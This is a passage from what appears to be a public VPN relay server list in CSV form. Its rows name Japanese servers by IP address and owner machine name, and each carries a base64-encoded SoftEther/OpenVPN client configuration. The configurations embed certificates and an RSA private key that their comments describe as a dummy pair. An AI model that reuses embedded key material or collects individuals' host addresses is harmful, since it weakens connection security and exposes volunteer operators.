eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn752496678,113.153.93.34,627934,9,65494596,Japan,JP,7,1000,323716,17147395719749,2weeks,DESKTOP-GNPUEG0's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTMuMTUzLjkzLjM0IDEzMjANCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn591304066,114.155.126.239,626560,18,146722572,Japan,JP,1,1000,36369,1981348866511,2weeks,NOTE01's 